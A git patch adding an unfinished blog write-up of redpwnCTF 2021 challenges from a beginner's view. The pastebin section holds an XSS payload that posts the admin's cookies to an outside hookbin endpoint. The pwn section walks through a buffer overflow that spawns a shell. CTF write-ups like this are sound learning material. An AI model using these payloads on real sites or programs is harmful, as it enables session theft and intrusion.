From 4cd4de192922a965310637b11083171e49bca976 Mon Sep 17 00:00:00 2001
From: lonkaars <loek@pipeframe.xyz>
Date: Mon, 12 Jul 2021 22:30:03 +0200
Subject: half redpwn ctf writeup (will continue tomorrow)

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+[meta]: <title> (redpwnCTF 2021)
+[meta]: <subtitle> (A noob's perspective)
+[meta]: <author> (Loek)
+[meta]: <date> (July 13 2021)
+[meta]: <tags> (hacking, CTF)
+[meta]: <cover> (/img/redpwn2021.png)
+
+This is the first 'real' CTF I've participated in. About two weeks ago, a
+friend of mine was stuck on some challenges from the Radbout CTF. This was a
+closed CTF more geared towards beginners (high school students), and only had a
+few challenges which required deeper technical knowledge of web servers and
+programming. Willem solved most of the challenges, and I helped solve 3 more.
+
+Apart from those challenges, basically all my hacking knowledge comes from
+computerphile videos, liveoverflow videos and making applications myself.
+
+## web/pastebin-1
+
+This challenge is a simple XSS exploit. The website that's vulnerable is
+supposed to be a clone of pastebin. I can enter any text into the paste area,
+and it will get inserted as HTML code into the website when someone visits the
+generated link.
+
+The challenge has two sites: one with the pastebin clone, and one that visits
+any pastebin url as the website administrator. The goal of this challenge is
+given by it's description:
+
+> Ah, the classic pastebin. Can you get the admin's cookies?
+
+In JS, you can read all cookies without the `HttpOnly` attribute by reading
+`document.cookie`. This allows us to read the cookies from the admin's browser,
+but now we have to figure out a way to get them sent back to us.
+
+Luckily, there's a free service called [hookbin](https://hookbin.com/) that
+gives you an http endpoint to send anything to, and look at the request
+details.
+
+Combining these two a simple paste can be created:
+
+```html
+<script>
+	var post = new XMLHttpRequest();
+	post.open("post", "https://hookb.in/<endpoint url>");
+	post.send(document.cookie);
+</script>
+```
+
+## crypto/scissor
+
+I wasn't planning on including this one, but it makes use of the excellent
+[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the
+challenge description, and is encrypted using a ceasar/rot13 cipher. A simple
+python implementation of this cypher is included with the challenge, but I just
+put it into CyberChef and started trying different offsets.
+
+## rev/wstrings
+
+> Some strings are wider than normal...
+
+This challenge has a binary that uses a simple `strcmp` to check the flag. When
+running the program, the following output is visible:
+
+```sh
+# ./wstrings
+Welcome to flag checker 1.0.
+Give me a flag>
+```
+
+My first stategy was running the `strings` utility on the `wstrings` binary,
+but I didn't find the flag. What was interesting to me though was that I also
+couldn't find the prompt text... This immediately made me check for other
+string encodings.
+
+Running the `strings` utility with the `-eL` flag tells `strings` to look for
+32-bit little-endian encoded strings, and lo and behold the flag shows up!
+
+This is because ascii strings are less 'wide' than 32-bit strings:
+
+```
+          --- ascii ---
+
+hex -> 0x68 0x65 0x6c 0x6c 0x6f
+str -> h    e    l    l    o
+```
+
+Notice how each character is represented by a single byte each (8 bits) in
+ascii, as opposed to 32-bit characters in 32-bit land.
+
+```
+        --- 32-bit land ---
+
+hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
+str -> h          e          l          l          o
+```
+
+I think 32-bit strings also have practical use for things like non-english
+texts such as hebrew, chinese or japanese. Those characters take up more space
+anyways, and you would waste less space by not using unicode escape characters.
+
+## web/secure
+
+> Just learned about encryption—now, my website is unhackable!
+
+This challenge is pretty simple if you know some of JS's quirks. Right at the
+top of the file is an sqlite3 expression in JS:
+
+```js
+////////
+db.exec(`INSERT INTO users (username, password) VALUES (
+    '${btoa('admin')}',
+    '${btoa(crypto.randomUUID)}'
+)`);
+```
+
+This section of code immediately jumped out to me because I noticed that
+`crypto.randomUUID` wansn't actually being called.
+
+Because the 'random uuid' is being fed into `btoa()` it becomes a base64
+encoded string. However, `btoa()` also expects a string as input. Because every
+object in JS has a `.toString()` method, when you pass it into a function
+expecting another type, JS will happily convert it for you without warning.
+
+This means that the admin's password will always be a base64-encoded version of
+`crypto.randomUUID`'s source code. We can get that base64-encoded source code
+by running the following in a NodeJS REPL:
+
+```js
+// import file system and crypto modules
+var writeFileSync = require('fs').writeFileSync;
+var crypto = require('crypto');
+
+// write source to file
+writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');
+```
+
+I made a simple shell script that calls cURL with the base64-encoded
+parameters, and decodes the url-encoded flag afterwards:
+
+```sh
+#!/bin/sh
+
+# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
+function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
+
+urldecode $(curl -sX POST \
+	-d "username=$(printf 'admin' | base64)" \
+	-d "password=$(cat ./randomUUID.js)" \
+	https://secure.mc.ax/login)
+```
+
+## crypto/baby
+
+> I want to do an RSA!
+
+This challenge is breaking RSA. It only works because the `n` parameter is
+really small.
+
+Googling for 'rsa decrypt n e c' yields
+[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c)
+stackoverflow result, which links to
+[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is
+calculate `p` and `q`, which can be done using [wolfram
+alpha](https://wolframalpha.com/).
+
+## pwn/beginner-generic-pwn-number-0
+
+> rob keeps making me write beginner pwn! i'll show him...
+>
+> `nc mc.ax 31199`
+
+This was my first interaction with `gdb`. It was.. painful. After begging for
+help in the redpwnCTF discord server about another waaaay harder challenge, an
+organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef)
+which single-handedly saved my sanity during the binary exploitation
+challenges.
+
+The first thing I did was use [iaito](https://github.com/radareorg/iaito) to
+look at a dissassembly graph of the binary. Iaito is a graphical frontend to
+the radare2 reverse engineering framework, and I didn't feel like learning two
+things at the same time, so that's why I used it. While it's very
+user-friendly, I didn't look into reverse engineering tools very much, and
+didn't realise that iaito is still in development. Let's just say I ran into
+some issues with project saving so I took lots of unnecessary repeated steps.
+
+After trying to make sense of assembly code after just seeing it for the first
+time, I instead decided looking at the source code would be a better idea since
+I actually know c.
+
+```c
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+const char *inspirational_messages[] = {
+  "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"",
+  "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"",
+  "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"",
+};
+
+int main(void)
+{
+  srand(time(0));
+  long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
+  char heartfelt_message[32];
+  
+  setbuf(stdout, NULL);
+  setbuf(stdin, NULL);
+  setbuf(stderr, NULL);
+
+  puts(inspirational_messages[inspirational_message_index]);
+  puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
+  puts("can you write me a heartfelt message to cheer me up? :(");
+
+  gets(heartfelt_message);
+
+  if(inspirational_message_index == -1) {
+    system("/bin/sh");
+  }
+}
+```
+
+After looking at this source things became a lot clearer, because the only
+input you can actually control is recieved from `gets(...);`
+
+Now comes the hard part: doing it, but in assembly!
+
+Some recources you should consume before attempting binary exploitation would
+be [computerphile's video on buffer
+overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and
+[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of
+this section assumes you know the basics of both buffer overflows and gdb.
+
+First, let's print a dissassembly of the `int main()` function:
+
+```
+(gdb) disas main
+Dump of assembler code for function main:
+   0x000000000040127c <+134>:   call   0x4010a0 <puts@plt>
+   0x0000000000401281 <+139>:   lea    rdi,[rip+0xec8]        # 0x402150
+   0x0000000000401288 <+146>:   call   0x4010a0 <puts@plt>
+   0x000000000040128d <+151>:   lea    rdi,[rip+0xf1c]        # 0x4021b0
+   0x0000000000401294 <+158>:   call   0x4010a0 <puts@plt>
+   0x0000000000401299 <+163>:   lea    rax,[rbp-0x30]
+   0x000000000040129d <+167>:   mov    rdi,rax
+   0x00000000004012a0 <+170>:   call   0x4010f0 <gets@plt>
+   0x00000000004012a5 <+175>:   cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
+   0x00000000004012aa <+180>:   jne    0x4012b8 <main+194>
+   0x00000000004012ac <+182>:   lea    rdi,[rip+0xf35]        # 0x4021e8
+   0x00000000004012b3 <+189>:   call   0x4010c0 <system@plt>
+   0x00000000004012b8 <+194>:   mov    eax,0x0
+   0x00000000004012bd <+199>:   leave
+   0x00000000004012be <+200>:   ret
+End of assembler dump.
+```
+
+This isn't the full output from gdb, but only the last few lines. A few things
+should immediately stand out: the 3 `<puts@plt>` calls, and right after the
+call to `<gets@plt>`. These are the assembly equivalent of:
+
+```c
+puts(inspirational_messages[inspirational_message_index]);
+puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
+puts("can you write me a heartfelt message to cheer me up? :(");
+
+gets(heartfelt_message);
+```
+
+Since I didn't see any reference to a flag file being read, I assumed that the
+`system("/bin/sh")` call is our main target, so let's see if we can find that
+in our assembly code. There's a call to `<system@plt>` at `<main+189>`, and
+there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure
+out what those do!
+
+After some stackoverflow soul searching, I found out that the `cmp` and `jne`
+are assembly instructions for compare, and jump-if-not-equal. They work like
+this:
+
+```asm6502
+;  cmp compares what's in the $rbp register to 0xffffffffffffffff
+;  and turns on the ZERO flag if they're equal
+   0x004012a5 <+0>:  cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
+   
+;  jne checks if the ZERO flag is on,
+;  and if it is it jumps (in this case) to 0x4012b8
+┌--0x004012aa <+1>:  jne    0x4012b8 <main+194>
+│; we can safely ignore the `lea` instruction as it doesn't impact our pwn
+│  0x004012ac <+2>:  lea    rdi,[rip+0xf35]        # 0x4021e8
+│
+│; the almighty syscall
+│  0x004012b3 <+3>:  call   0x4010c0 <system@plt>
+│
+│; from here on the program exits without calling /bin/sh
+└->0x004012b8 <+4>:  mov    eax,0x0
+   0x004012bd <+5>:  leave
+   0x004012be <+6>:  ret
+```
+
+The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before
+the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt
+message, but it continues reading even if our heartfelt message is longer than
+32 bytes. Let's see if we can overwrite that register >:)
+
+Let's set a breakpoint after the `<gets@plt>` call in gdb, and run the program
+with 40 bytes of `0x61` ('a')
+
+```
+(gdb) break *0x00000000004012a5
+Breakpoint 1 at 0x4012a5
+
+(gdb) run < <(python3 -c "print('a' * 40)")
+```
+
+I'm using the `run` command with `<` and `<()` to pipe the output of python
+into the program's `stdin`. It's unnecessary at this stage because there's an
+'a' key on my keyboard, but if we were to send raw bytes, this would make it a
+lot easier.
+
+I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command
+called `context` which prints all sorts of information about registers, the
+stack and a small dissassembly window. I won't show it's output here, but it
+was an indispensable tool that you should install nonetheless.
+
+Let's print the memory at `[$rbp - 0x8]`:
+
+```
+(gdb) x/8gx $rbp - 0x8
+0x7fffffffd758:  0x0000000000000000 0x0000000000000000
+0x7fffffffd768:  0x00007ffff7de4b25 0x00007fffffffd858
+0x7fffffffd778:  0x0000000100000064 0x00000000004011f6
+0x7fffffffd788:  0x0000000000001000 0x00000000004012c0
+```
+
+Hmmm, no overwriteage yet. Let's try 56 bytes instead:
+
+```
+(gdb) run < <(python3 -c "print('a' * 56)")
+(gdb) x/8gx $rbp - 0x8
+0x7fffffffd758:  0x6161616161616161 0x6161616161616161
+0x7fffffffd768:  0x00007ffff7de4b00 0x00007fffffffd858
+0x7fffffffd778:  0x0000000100000064 0x00000000004011f6
+0x7fffffffd788:  0x0000000000001000 0x00000000004012c0
+(gdb) x/1gx $rbp - 0x8
+0x7fffffffd758: 0x6161616161616161
+```
+
+Jackpot! We've overwritten 16 bytes of the adress that the `cmp` instruction
+reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is
+not that great for binary exploitation, so the code for this is a little bit
+ugly, but if it works, it works!
+
+```
+(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
+(gdb) x/1gx $rbp - 0x8
+0x7fffffffd758: 0xffffffffffffffff
+```
+
+Now let's let execution continue as normal by using the `continue` command:
+
+```
+(gdb) continue
+Continuing.
+[Detaching after vfork from child process 22950]
+[Inferior 1 (process 22947) exited normally]
+```
+
+This might seem underwhelming, but our explit works! A child process was
+spawned, and as a bonus, we didn't get any segmentation faults! The reason we
+don't get an interactive shell is because we used python to pipe input into the
+program which makes it non-interactive.
+
+At this point I was about 12 hours in of straight gdb hell, and I was very
+happy to see this shell. After discovering this, I immediately tried it outside
+the debugger and was dissapointed to see that my exploit didn't work. After a
+small panick attack I found out this was because of my environment variables.
+You can launch an environment-less shell by using the `env -i sh` command:
+
+```
+λ generic → λ git master* → env -i sh
+sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
+"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨"
+rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
+can you write me a heartfelt message to cheer me up? :(
+sh-5.1$ # another shell :tada:
+```
+
+Now it was time to actually do the exploit on the remote server.
+
+I whipped up the most disgusting and janky python code that I won't go into
+detail about, but here's what is does (in short):
+
+1. Create a thread to capture data from the server and forward it to `stdout`
+2. Capture user commands using `input()` and decide what to do with them on the main thread
+
+The code for this script can be found
+[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py),
+though be warned, it's _very_ janky and you're probably better off copying
+stuff from stackoverflow.
+
+It did help me though and I actually had to copy it for use in the other buffer
+overflow challenge that I solved, so I'll probably refactor it someday for use
+in other CTFs.
+
+## crypto/round-the-bases
+
+## pwn/ret2generic-flag-reader
+
+## rev/bread-making
-- 
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